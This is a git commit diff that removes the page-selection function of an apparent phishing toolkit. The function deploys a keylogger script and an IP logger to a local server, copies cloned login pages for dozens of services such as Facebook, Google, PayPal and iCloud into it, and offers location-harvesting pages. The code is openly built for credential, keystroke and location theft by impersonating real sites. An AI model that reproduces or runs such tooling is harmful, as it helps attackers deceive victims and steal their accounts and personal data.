Moved some code to new structure

This commit is contained in:
sTiKyt 2020-05-06 14:29:15 +03:00
parent 1a4498f4a4
commit 434cb52ba9

View File

@ -33,139 +33,6 @@ MAIN0, MAIN1, MAIN2, MAIN3, MAIN4 = colorTheme[0], colorTheme[
1], colorTheme[2], colorTheme[3], colorTheme[4]
def runPhishing(page, customOption): # Phishing pages selection menu
system('cd Server && mkdir www && chmod 777 Server -R')
system('rm -r Server/www/ && mkdir Server/www')
system('touch Server/www/usernames.txt && touch Server/www/ip.txt')
system('cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/ && rm -rf link.url')
if customOption == '1' and page == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/")
elif customOption == '2' and page == 'Facebook':
copy_tree("WebPages/fb_advanced_poll/", "Server/www/")
elif customOption == '3' and page == 'Facebook':
copy_tree("WebPages/fb_security_fake/", "Server/www/")
elif customOption == '4' and page == 'Facebook':
copy_tree("WebPages/fb_messenger/", "Server/www/")
elif customOption == '1' and page == 'Google':
copy_tree("WebPages/google_standard/", "Server/www/")
elif customOption == '2' and page == 'Google':
copy_tree("WebPages/google_advanced_poll/", "Server/www/")
elif customOption == '3' and page == 'Google':
copy_tree("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn':
copy_tree("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub':
copy_tree("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow':
copy_tree("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress':
copy_tree("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter':
copy_tree("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat':
copy_tree("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo':
copy_tree("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch':
copy_tree("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft':
copy_tree("WebPages/live_web/", "Server/www/")
elif page == 'Steam':
copy_tree("WebPages/steam/", "Server/www/")
elif page == 'iCloud':
copy_tree("WebPages/iCloud/", "Server/www/")
elif customOption == '1' and page == 'Instagram':
copy_tree("WebPages/Instagram_web/", "Server/www/")
elif customOption == '2' and page == 'Instagram':
copy_tree("WebPages/Instagram_autoliker/", "Server/www/")
elif customOption == '3' and page == 'Instagram':
copy_tree("WebPages/Instagram_advanced_attack/", "Server/www/")
elif customOption == '4' and page == 'Instagram':
copy_tree("WebPages/Instagram_VerifiedBadge/", "Server/www/")
elif customOption == '5' and page == 'Instagram':
copy_tree("WebPages/instafollowers/", "Server/www/")
elif customOption == '1' and page == 'VK':
copy_tree("WebPages/VK/", "Server/www/")
elif customOption == '2' and page == 'VK':
copy_tree("WebPages/VK_poll_method/", "Server/www/")
elif page == 'GitLab':
copy_tree("WebPages/gitlab/", "Server/www/")
elif page == 'NetFlix':
copy_tree("WebPages/netflix/", "Server/www/")
elif page == 'Origin':
copy_tree("WebPages/origin/", "Server/www/")
elif page == 'Pinterest':
copy_tree("WebPages/pinterest/", "Server/www/")
elif page == 'ProtonMail':
copy_tree("WebPages/protonmail/", "Server/www/")
elif page == 'Spotify':
copy_tree("WebPages/spotify/", "Server/www/")
elif page == 'Quora':
copy_tree("WebPages/quora/", "Server/www/")
elif page == 'PornHub':
copy_tree("WebPages/pornhub/", "Server/www/")
elif page == 'Adobe':
copy_tree("WebPages/adobe/", "Server/www/")
elif page == 'Badoo':
copy_tree("WebPages/badoo/", "Server/www/")
elif page == 'CryptoCurrency':
copy_tree("WebPages/cryptocurrency/", "Server/www/")
elif page == 'DevianArt':
copy_tree("WebPages/devianart/", "Server/www/")
elif page == 'DropBox':
copy_tree("WebPages/dropbox/", "Server/www/")
elif page == 'eBay':
copy_tree("WebPages/ebay/", "Server/www/")
elif page == 'Myspace':
copy_tree("WebPages/myspace/", "Server/www/")
elif page == 'PayPal':
copy_tree("WebPages/paypal/", "Server/www/")
elif page == 'Shopify':
copy_tree("WebPages/shopify/", "Server/www/")
elif page == 'Verizon':
copy_tree("WebPages/verizon/", "Server/www/")
elif page == 'Yandex':
copy_tree("WebPages/yandex/", "Server/www/")
elif customOption == '1' and page == 'Reddit':
copy_tree("WebPages/Reddit/", "Server/www/")
elif customOption == '2' and page == 'Reddit':
copy_tree("WebPages/Reddit-old/", "Server/www/")
elif page == 'Subitoit':
copy_tree("WebPages/subitoit/", "Server/www/")
elif page == 'PlayStation':
copy_tree('WebPages/playstation/', "Server/www/")
elif page == 'Xbox':
copy_tree('WebPages/xbox/', "Server/www/")
elif page == 'CUSTOM(1)':
print("\n\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/CUSTOM(1)".format(MAIN0, MAIN4))
print("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/CUSTOM(1)]".format(MAIN0, MAIN4))
input("\n\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.".format(MAIN0, MAIN4))
print("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...".format(MAIN0, MAIN4))
sleep(3)
copy_tree('WebPages/CUSTOM(1)/', "Server/www/")
elif page == 'CUSTOM(2)':
print("\n\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/CUSTOM(2)".format(MAIN0, MAIN4))
print("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/CUSTOM(2)]".format(MAIN0, MAIN4))
input("\n\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.".format(MAIN0, MAIN4))
print("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...".format(MAIN0, MAIN4))
sleep(3)
copy_tree('WebPages/CUSTOM(2)/', "Server/www/")
# Tools Below && Phishing Pages Above
elif customOption == '1' and page == 'LOCATION':
sleep(3)
copy_tree('WebPages/TOOLS/nearyou', "Server/www/")
print("\n\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n".format(MAIN0, MAIN4))
input('\nPress Enter To continue...')
elif customOption == '2' and page == 'LOCATION':
sleep(3)
copy_tree('WebPages/TOOLS/gdrive', "Server/www/")
print("\n\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.".format(MAIN0, MAIN4))
input('\nPress Enter To continue...')
else:
endMessage(port)
def selectPort(): # Question where user must select port